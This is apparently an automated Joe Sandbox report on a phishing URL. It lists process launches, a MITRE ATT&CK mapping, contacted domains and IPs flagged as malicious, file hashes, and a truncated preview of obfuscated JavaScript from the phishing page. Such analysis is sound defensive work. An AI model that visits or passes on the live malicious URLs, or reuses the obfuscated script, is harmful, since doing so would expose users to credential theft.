Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1888,i,16178988422875054378,15397366870116851092,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2248 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1888,i,16178988422875054378,15397366870116851092,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2248 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label
https://polynethub.netlify.app/mgs/tad1.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/d2.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/main.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/prog.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/icon.png	0%	Avira URL Cloud	safe
https://polynethub.netlify.app/mgs/eyeslash.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mr.ahmed-elgamal.com	138.197.101.40	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www.google.com	142.250.186.164	true	false	high
polynethub.netlify.app	3.124.100.143	true	false	high
pub-160645733abe48e1a173755d32058a26.r2.dev	162.159.140.237	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari	true		unknown
https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	true		unknown
https://polynethub.netlify.app/mgs/main.png	false	Avira URL Cloud: safe	unknown
https://polynethub.netlify.app/mgs/tad1.png	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/json	false		high
https://polynethub.netlify.app/mgs/prog.png	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://polynethub.netlify.app/mgs/d2.png	false	Avira URL Cloud: safe	unknown
https://polynethub.netlify.app/mgs/eyeslash.png	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.3.1.js	false		high
https://polynethub.netlify.app/mgs/icon.png	false	Avira URL Cloud: safe	unknown
https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ipinfo.io/missingauth	chromecache_61.1.dr, chromecache_56.1.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_67.1.dr	false	high
http://jquery.org/license	chromecache_67.1.dr	false	high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_67.1.dr	false	high
https://bugs.jquery.com/ticket/12359	chromecache_67.1.dr	false	high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-75	chromecache_67.1.dr	false	high
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_67.1.dr	false	high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_67.1.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_67.1.dr	false	high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_67.1.dr	false	high
https://github.com/eslint/eslint/issues/6125	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_67.1.dr	false	high
https://github.com/jquery/jquery/pull/557)	chromecache_67.1.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_67.1.dr	false	high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_67.1.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_67.1.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_67.1.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_76.1.dr	false	high
https://bugs.jquery.com/ticket/13378	chromecache_67.1.dr	false	high
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_60.1.dr	false	high
https://promisesaplus.com/#point-64	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-61	chromecache_67.1.dr	false	high
https://drafts.csswg.org/cssom/#resolved-values	chromecache_67.1.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-59	chromecache_67.1.dr	false	high
https://jsperf.com/getall-vs-sizzle/2	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-57	chromecache_67.1.dr	false	high
https://github.com/eslint/eslint/issues/3229	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-54	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_67.1.dr	false	high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_67.1.dr	false	high
https://jquery.org/license	chromecache_67.1.dr	false	high
https://jquery.com/	chromecache_67.1.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_67.1.dr	false	high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_67.1.dr	false	high
https://promisesaplus.com/#point-48	chromecache_67.1.dr	false	high
https://www.cloudflare.com/favicon.ico	chromecache_60.1.dr	false	high
https://github.com/jquery/sizzle/pull/225	chromecache_67.1.dr	false	high
https://google.com	chromecache_75.1.dr	false	high
https://sizzlejs.com/	chromecache_67.1.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_67.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.125.36.175	unknown	United States	16509	AMAZON-02US	false
162.159.140.237	pub-160645733abe48e1a173755d32058a26.r2.dev	United States	13335	CLOUDFLARENETUS	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
3.124.100.143	polynethub.netlify.app	United States	16509	AMAZON-02US	false
138.197.101.40	mr.ahmed-elgamal.com	United States	14061	DIGITALOCEAN-ASNUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637000
Start date and time:	2025-03-13 10:08:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@22/45@18/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 142.250.185.142, 142.250.186.174, 66.102.1.84, 142.250.185.110, 142.250.185.78, 142.250.186.74, 142.250.74.202, 199.232.210.172, 142.250.185.99, 172.217.18.10, 216.58.206.74, 172.217.18.106, 142.250.185.202, 142.250.184.234, 142.250.185.106, 142.250.186.106, 172.217.23.106, 142.250.186.42, 142.250.185.138, 172.217.16.202, 216.58.206.42, 142.250.186.138, 142.250.185.170, 142.250.185.74, 142.250.185.174, 142.250.184.238, 142.250.186.142, 142.250.181.238, 172.217.16.131, 142.250.186.67, 142.250.184.206, 142.250.186.110, 172.217.18.14, 20.12.23.50
Excluded domains from analysis (whitelisted): fonts.googleapis.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 171 x 129, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8432
Entropy (8bit):	7.95443656692082
Encrypted:	false
SSDEEP:	192:CFoqWS/32IhXDeIyL1AvDWpYwQdJwAkcv2e:C+qWS/JhTe1A8QdJwAXX
MD5:	3B751CA6558A384727662FEB63279995
SHA1:	3C4E0D2C8138415DEFB4EA0F81443740F02801AC
SHA-256:	2DC1528F00A048BDA8490A4D046D0A3874552FD44A3268E34F8D587C77870B57
SHA-512:	917444C234F520062E3ACD119BE2626617339B3DDA8CC0AAD3E25F35BD60519EEF538838C05F70A47B934C6206C31B7FDC3A6A3315FEAF46BC54BFAE604B57FD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............JI....sRGB.........gAMA......a.....pHYs..........o.d.. .IDATx^..TE...B}I!..@....U. .." ((..t...!.UP..)J...wP:..H..@.i$!...y...M.......\|>..ew.....3g...h.&...I..gv..s.....f.k.h....vE...fU.5..a...A\......T.[.O...M..V.v..W\|.......^.>...fU...n.....`.Y.6....VP..c.N......M...$.......o....`fW......wf.v.[r.U....!/.BL..\|.~s.1!....q.l......h2....2...7(..;....-a.g....i......."u(`Q...Dt.6.+....b:y..a..3-......T.Y.OK.E.M.N..~..V....o...!.9%....gN...N........E.........y.`.......E....P..N..d..'..P.+.r.....@.....w.!J4..2....j..P.t.o...)...D..0!.J6L...gD.M..=.... .~W......H....N.]...u.7.0+V....*.1.,.d...a.1<L...T.......Wi25V}....2...B!.cQ#."...aqol..{S}d....Z.@.q.~..X..C..........l...Zq.&....\......N7l.952..;{.>.U_......Y....PD..`nw_H.k.....6....k.Am.iq.&3.g..Pq.W..E4.8....6..=}{....r....H....P`X.....\|X`...........L....U...e. ':.r.^!Ei.........>.........H.^...........J...;d.1/C......&...H..a..]....8.GO......{no.O!c(@...

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6472
Entropy (8bit):	7.9614440298074545
Encrypted:	false
SSDEEP:	192:0SXVB/e3XvblmlqpfQFjF7j+kFomx/c6lOOB:zlB/e3XZmApfejBqk+C/xxB
MD5:	F419183716DF0C9BCEFFF5389522958C
SHA1:	CF56E3EF9C5B162BECE6DFFE9E1B220526F7AC7E
SHA-256:	0DFA5859ACD573CAF7190FA333E1551503CC295EBABE5C7051C90CFBF9D190A9
SHA-512:	6623E40298585D89DF22A20DA5289E2A8109A78B0A1ACEBCE8F44CA79E0A9354DBA35C82B3E64192B1A971D9CDA1FA9FE1E37F8A4098A2376F731E2271D13C55
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...3...3.....:.0....pHYs.................sRGB.........gAMA......a.....IDATx..Z.t[.o.zO..[.b;..YI.)$i:.....)--.)s.2K.;.-S..t..J.P..J.............;V,.-[....2........yG...........^...........p...\.=......5e..45..u..[..W..8.......]...S..(.......V...rzH...\|.R..Z..E+....=w....o..'.ri'7..j.]4TV..h..2....n......../...3_...+..{..h..tp.,.(..&...3..~....V...y..&u...N..<.i.f.......{>..<4...g;n..t..hi..2...........;^n.`..}..&.N..0..w.....B...........>.U.So>.....#..O_..z...cYEQ.@Tq$).Dc.`...............c}[..qX.{u-_...x.....J.t.6r......bsE...ZNK9sz..4..:.p..%3........g$.........G.L...+.\|B....N.:...,..........x...a.i5S/.Yj.D..l_..........i..I.H.\|..jZ.5:.!h X....-.K.1.QSiVSS..!.......-.........LM...i}.7....!...v.5..6w...}..e.Qz.73>.C...e.??../Og.n;....{..%...)..Y...,...?b....=5....9E.y.9M...1g..I..?&.}%...:..5.p...{.q./..g.....,.4.{*(.z,;.......]{...^....Y..{^...\.....!-.e/...1....\..t..S.wA..9C...o.'.B.....iz...C..._(BM..IZ...R..S...S.<...

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	4.9141707829298635
Encrypted:	false
SSDEEP:	6:oDRTwL9hEEWzP+5onJdFv//f4L3h/ZEk/LO4ZW96fW35jY:5LUPu+Jv/XGMQHWsg5k
MD5:	4AA1EDDCD38285B26AEE5A16AA80883D
SHA1:	2FFD4D64B7805A0846D18745C798F085B8F51D7B
SHA-256:	6431E98D2E99112EDCF4CCD5A10C5AF0B92F316AE0856370655C62E3B0ED8D00
SHA-512:	AE47A0387FA96536C498A953600CB65CD3AA2CC1C8491982AB7F02FBBE16D1191DCC6F490DF338BC79862D86C16B92291A31BA2250862336D1ABE5F7ED80DDCE
Malicious:	false
Reputation:	low
Preview:	{. "ip": "76.150.46.94",. "hostname": "c-76-150-46-94.hsd1.il.comcast.net",. "city": "Harvey",. "region": "Illinois",. "country": "US",. "loc": "41.6100,-87.6467",. "org": "AS7922 Comcast Cable Communications, LLC",. "postal": "60426",. "timezone": "America/Chicago",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 518 x 97, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5335
Entropy (8bit):	7.923513904608464
Encrypted:	false
SSDEEP:	96:Sozp0wch9aIoJyl03GA4Fi90kJUpk8cZ10213ZTlunChuQDPc3jVoIfEa6KDN:SccSJwEcF8CWb029uChuQ0fEapDN
MD5:	F473A40301E6D38D5AB8E755070E2807
SHA1:	E077C714C15B7D45B6AC9EE0DCC349C1D4B97AA2
SHA-256:	A63A08D511C9B8FF6BD0FA2206959E3DCEF4CA9E0FB4292991D6B0C473F2FE87
SHA-512:	20B26AB502F3890BA6957845DE1E1F63EAF101E90A7282E7601500C476BFC71C83D3E45CAEEDC8F433F6F53173DC613A377A31BA36E9FB499AF40E2A6CFE933E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......a........Y...DPLTE.........v=..v$....a(...........ooo...............fff.........,,,...........\|...vvv.. q:.......III.uk...q3....???.i&...666.{"QQQ......ZZZ.r.jjj111.q%.m.j%..E.s8..3F.........M..h!.N..........X..0G..l......\|1.U8.o.F.....d....=.\..c.S.]C~I(.R..lW.[@..m....iT..e..-....Q4qH:....^.W0eE<WA?'7D.b1...-;A..M.y.v@.....#......NIDATx..._.............]..(.I.@S...a..t.............l.:GrS.....fk,...9GG.)...._.R.,.}.wi..t.z.........\|.8.r.N...\...bury................z.B...&'..s~tQ.....y.L......Z...t5.`r...g.....z..N..2.r....^0..c......Ot.......g8.((...7.B.H.9.9.#^.8.At......\h}.]..O....0.NGq.....AH...[N.[x......b...!..z.q.8......pE....,...I..;...`@v..+\|}.-(..}...>.9.g......Px.+..i....I.oq..3..B......].8.......~P.p.....W.{i>.q..W........j....W@.A.R..q&p)..@...0....6..k.....l..y...nh!..c.....b .. 6.1.6..2..."...>...0..i.E..-d...w.c..B...t"..t..-d.<R.9..."..28.H.Ha...1 :3z.a...! .u...G....5.<..{.^..0YD../=...;..'X..d.6...

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5644, version 1.0
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	7.9601989705858776
Encrypted:	false
SSDEEP:	96:fIFfzjZxOWVAeoZKJygG7gQ0ARrvfzR7YHDviqi9CdWRxHTjlt7ndMk+09RiOb:wlLOLZKJzJARrl7Yjvhi9CdoTjR+09L
MD5:	90926C36B712CB131F3F890BBB8C477E
SHA1:	854E6F96532537002044042175EA57D6F83BF4E9
SHA-256:	0B1FCAB42C18B69BCFE9CE4799FCBFF5AF1621C53FFCFDC4723C6F5EC4EE3FFB
SHA-512:	83807F0C7A832FFCC7093E676B8DA21B323E0CA46B407978249565197416429F8208191B50A47A0EE0E0E56FB0A7E52A57ACEEBE77544580B88C174078446147
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJnecmNE.woff2
Preview:	wOF2..............3d.................................`..(..d....l..6.$..T. ..\..A..EF.......Q..F.....1.V....j..$.7FL.R\=!.F......>.n.B....+6.......C...Hb......)U..M9l&.......C...U.q...m.>:P.V3AT0.+.O\|B.D.>J.......y7.-.E_.n}...k.!F2.....).I.......3....}s.3.\a&....t.?..>.Y....T..H...!wE.6.Y.. ..:.....P.8Z.8....7..eY./.....4...F..Og.J..%....@.x]T.4...H...%/.........C.....z.gCH.',j(...m.L....ypY.E...r......0.?"!-k.\|.T..`<C.p.i. ..\...........m.t..dC.V2...u.[a.6........i....m8P....H......1.mu.....P...V\\....0@.1...{._.1....IE.T....[ic..qSG7..N..O.....O&.......bgf.=.@....JU..h.(.5ii..F.=2...z.z1.r(.........w..........>..v.W.........q@.b..{.^.~..K..a..8...v.~kG.q.. q..JX.v..ln....Z8...v..e.m...u$!......"...34V.Z...V.f.$.....&a=......F.4l\|YB......TV.uE\|d&.\|+...PK......../s...-......%.2.....Iy8m...kx...U..M..n-....g.0.!.BO}.hB...6.z.(.B........?.*...F!.K.O.S...U...t.E..&..:W..f.........JD.[@....S......Bk..1l..?...c..S.?2........G.K.uP...j]"...

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 441 x 86, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	7.790900974497478
Encrypted:	false
SSDEEP:	48:PKftnuqcMR/ZnMMqs3bYrYi9IS0KjxU+zpEFQ0KQ/yQglyL9UzZc:PK1nuUR/xqsTi9IS7UkSbKnnyLKVc
MD5:	3890CA6AD3EDFBC98A6B1CFC821B479F
SHA1:	698BD126E0373506509523C3FE7968002C492CCB
SHA-256:	DC791EB99787611331A7948CC25A0E16DB8D54A908FE5903D9819077494C4265
SHA-512:	9607901ED8A09F1C2913D0DE7FF395C246A721C424948DA060163EB07F9B69EBC8CAF05C693417B26ED11C0AE55FC2D540109321387105D1B3705B238B96BD66
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......V.....R1......sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...n......A..@..}......3....+...B.F......K-.....P.B..Q..U][.,'.N..9.......xx.........r./....!.G...D.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r..d.r....3...........a.~............8M.<.......;...K....=..c...#.........i.G.^4...l.y.~...G.}.h.2...E).R......'.e..;h.-{Q.r......Q.]..W..g.._..o.......Y.4M..... M..M......{..w........8M.[Fe.......G.2.B.'.w.._.. ....2ZVe.,.. -..h!..?.../....h^-.e....2Bn.>.~\......I.p.).T..........2..>;j.n1-.2.<..Bn...y..3/.E.....N.....R.:BnIt9...O...Q.V>.....^.\|..u1.?..O..%!....b...<......3..z.1....3.XxF.Zg.Bn.....7.G.:.......g......r.....:.....T...T..V..eS.'d.N&.R...2............QT..T..V.................6..<...zy..0\|z...F."...zSy..!.@z..Fo)i.p'....}...X.f....a...m.....KW....-..n..A....[ .PYA..q5s..N...Z...T.Z....*+h.......m..._}...-...zZj.R@.-.~9@A..N..!.T...:..6.r..F.lb..U......9.rk...T...:...[ .D.......!g....

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	low
URL:	https://pub-160645733abe48e1a173755d32058a26.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	322
Entropy (8bit):	4.9141707829298635
Encrypted:	false
SSDEEP:	6:oDRTwL9hEEWzP+5onJdFv//f4L3h/ZEk/LO4ZW96fW35jY:5LUPu+Jv/XGMQHWsg5k
MD5:	4AA1EDDCD38285B26AEE5A16AA80883D
SHA1:	2FFD4D64B7805A0846D18745C798F085B8F51D7B
SHA-256:	6431E98D2E99112EDCF4CCD5A10C5AF0B92F316AE0856370655C62E3B0ED8D00
SHA-512:	AE47A0387FA96536C498A953600CB65CD3AA2CC1C8491982AB7F02FBBE16D1191DCC6F490DF338BC79862D86C16B92291A31BA2250862336D1ABE5F7ED80DDCE
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json
Preview:	{. "ip": "76.150.46.94",. "hostname": "c-76-150-46-94.hsd1.il.comcast.net",. "city": "Harvey",. "region": "Illinois",. "country": "US",. "loc": "41.6100,-87.6467",. "org": "AS7922 Comcast Cable Communications, LLC",. "postal": "60426",. "timezone": "America/Chicago",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65358), with CRLF line terminators
Category:	downloaded
Size (bytes):	431741
Entropy (8bit):	2.712281240414301
Encrypted:	false
SSDEEP:	192:Dh5MytXG08LlqJ/ruiZoyOv3yrMnKiQ7J22Cp/qaOuo/T/Gy0iN0FCe5gXfxSibe:DhTEFF
MD5:	755A3E75E5AFADCD5CE91DF78B31AB0D
SHA1:	413B827863BE6C48E2EBA1C59D5243F304358BB3
SHA-256:	1FE97FD433D11608255674867185F4F066EC105F507F8A1205A8E095701C814C
SHA-512:	ABF7C3251BE28BD59E31386486D632F1FBEEF68D6FB3B8CD47E988DDD164DFAA8155F7A3F5F6C2100300B9CBCD5A4E1EDA157672E20B8A2855F9331BE2251D20
Malicious:	false
Reputation:	low
URL:	https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html
Preview:	<!doctype html PUBLIC "-/W3C/DTD XHTML 1.0 transitional/en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">..<html>..</head>..<body>..<script type="text/javascript">..function _0xd7d1(_0x43508f,_0x4e50af){var _0x4083e5=_0x4083();return _0xd7d1=function(_0xd7d1f4,_0x266dc4){_0xd7d1f4=_0xd7d1f4-0xf1;var _0x144852=_0x4083e5[_0xd7d1f4];return _0x144852;},_0xd7d1(_0x43508f,_0x4e50af);}var _0x68d62c=_0xd7d1;(function(_0x39665a,_0x32bac7){var _0xdf52a2=_0xd7d1,_0x458704=_0x39665a();while(!![]){try{var 